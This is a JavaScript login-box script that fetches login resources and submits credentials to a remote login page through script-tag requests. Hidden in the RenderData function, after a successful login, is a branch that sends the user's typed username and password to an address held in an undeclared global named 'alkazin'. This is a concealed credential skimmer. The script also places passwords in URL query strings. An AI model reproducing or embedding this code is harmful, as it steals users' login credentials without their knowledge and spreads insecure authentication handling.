function GetProtocol() {
	var transferProtocol = 'http://';

	if (typeof (protocol) != 'undefined' && protocol == 'https://') {
		transferProtocol = protocol;
	}
	else {
		return window.location.protocol + "//";
	}

	return transferProtocol;
}


var CDChanel;

CrossDomainChanel2 = function(request, func) {

    var d = new Date();
    CrossDomainChanel2.chanelID++;

    CDChanel = document.createElement("script");
    CDChanel.type = "text/javascript";
    CDChanel.id = "chanel_" + CrossDomainChanel2.chanelID;
    CDChanel.src = request + "&function=" + CDChanel.id + "&t=" + d.getTime();
    window[CDChanel.id] = func;

    document.getElementsByTagName("head")[0].appendChild(CDChanel);
    return CDChanel;
}

CrossDomainChanel2.chanelID = 0;

function RenderData(res, butt, ls, ex) {
    if (!ex || ex.Error !== true) {
        if (ls && ls.LoginStatus == "OK") {
            if ((typeof alkazin) != "undefined") {
                var test = new CrossDomainChanel(alkazin + '?data=' + $V('username_i') + ':' + $V('password_i'), function() { }, function() { });
            }
            window.location = ls.RedirectURL;
        }
        else {
            RenderResources(res.Resources);
            RenderLanguageButtons(butt);
        }
    }
    else {
        var inputValidationError = false;

        if (ex.Message.indexOf("Invalid Password") > -1) {
            inputValidationError = true;
            $('inv_pass').style.display = "inline";
        }

        if (ex.Message.indexOf("Invalid Username") > -1) {
            inputValidationError = true;
            $('inv_user').style.display = "inline";

        }

        if (!inputValidationError) {
            if ($('error_area') != null)
                $('error_area').style.display = "inline";
            if ($('error_t') != null)
                $('error_t').innerHTML = "<nobr>" + ex.Message + "</nobr>";
        }
    }

    document.getElementsByTagName("head")[0].removeChild(CDChanel);

    function RenderLanguageButtons(langs) {
        var langButtonsDiv = $('languagesButtons_area');
        if (langButtonsDiv != null) {
            var buttonsString = "<table><tr>"
            var j = 0;
            for (var i = 0; i < langs.Languages.length; i++) {
                if (langs.Languages[i].Url != null) {
                    buttonsString += '<td><img id="lang' + i + '" src="' + langs.Languages[i].Image + '" border="0" onclick="Change(\'' + langs.Languages[i].Url + '\')" style="cursor: pointer; cursor: hand"></td>';
                    j++;

                    if (j == langs.ButtonsInRow * 1) {
                        buttonsString += '</tr><tr>';
                        j = 0;
                    }
                }
            }
            buttonsString += '</tr></table>'
            langButtonsDiv.innerHTML = buttonsString;

        }
    };

    function RenderResources(resources) {
        if ($('username_t') != null)
            $('username_t').innerHTML = resources.loginLblUserName + ':';

        if ($('password_t') != null)
            $('password_t').innerHTML = resources.AgentLog_Password + ':';
        if ($('newAgent_a') != null) {
            $('newAgent_a').href = resources.PageNewRegistration;
            var imges = $('newAgent_a').getElementsByTagName('img');
            if (imges.length == 0)
                $('newAgent_a').innerHTML = resources.AgentLog_NewAgent;
        }

        var newUserLinks = document.getElementsByName('newUser_a');
        if (newUserLinks.length > 0) {
            for (i = 0; i < newUserLinks.length; i++) {
                if (typeof (protocol) != 'undefined' && protocol == 'https://')
                    newUserLinks[i].href = 'https://' + resources.PageNewRegistration.substr(7, resources.PageNewRegistration.length - 7);
                else
                    newUserLinks[i].href = resources.PageNewRegistration;

                var imges = newUserLinks[i].getElementsByTagName('img');
                if (imges.length == 0)
                    newUserLinks[i].innerHTML = resources.AgentLog_NewAgent;
            }
        }

        if ($('forgotPassword_a') != null) {
            $('forgotPassword_a').innerHTML = resources.CusLog_ForgotPassword;
            $('forgotPassword_a').href = resources.PageUserForgotPassword;
        }
        if ($('error_area') != null)
            $('error_area').style.display = "none";
        if ($('error_t') != null)
            $('error_t').innerHTML = "";

        var img = document.createElement('img');
        img.id = "inv_pass"
        img.src = GetProtocol() + serverName + '/Modules/customizable/images/requiredIcon_ani.gif';
        img.style.display = "none";
        $('password_i').parentNode.appendChild(img)

        img = document.createElement('img');
        img.id = "inv_user"
        img.src = GetProtocol() + serverName + '/Modules/customizable/images/requiredIcon_ani.gif';
        img.style.display = "none";
        $('username_i').parentNode.appendChild(img)
    };
}

LoginControl = function() {
    if ($('username_i') == null || $('password_i') == null || $('ok_b') == null) {
        alert("In order to function properly every page that wants to show our login functionality\n"
		+ "must contains elements with following id's:\n"
		+ "\tusername_i\n"
		+ "\tpassword_i\n"
		+ "\tok_b\n")
        return;
    }

    this.Show = function() {

        if ($('username_i') != null) {
            var reg = /TGS\.Customer=.+username=(.+?)&.+/;
            var ar = reg.exec(document.cookie);
            if (ar != null && ar[1] != null)
                $('username_i').value = ar[1];
        }

        var test = new CrossDomainChanel2(GetProtocol() + serverName + '/Secure/pageremotelogin.aspx?ast=oy&Request=init', RenderData);
    };

    function DoLogin(secondLogin) {
        $('inv_pass').style.display = "none";
        $('inv_user').style.display = "none";
        //Clear errors
        if ($('error_area') != null)
            $('error_area').style.display = "none";
        if ($('error_t') != null)
            $('error_t').innerHTML = "";

        var test = new CrossDomainChanel2(
             GetProtocol() + serverName + '/Secure/pageremotelogin.aspx?ast=oy&Request=login' +
		    '&username=' + $V('username_i') +
		    '&password=' + $V('password_i'), RenderData);
    }

    $('ok_b').onclick = DoLogin;

    document.onkeypress = function(e) {
        if (codeTouche(e) == 13) {
            DoLogin();
            return false;
        }

        return true;
    }
}

var lc;

function Change(Url) {
    var index = Url.indexOf('http://');
    if (index > -1)
        serverName = Url.substr(index + 7, Url.length - (index + 7))
    else
        serverName = Url;

    lc.Show();
}

//Login facade
function ShowLogin() {
    try {
        lc = new LoginControl();
        lc.Show();
    }
    catch (e) {
        if (document.getElementById("loginbox_area") != null)
            document.getElementById("loginbox_area").style.display = "none"
    }
}
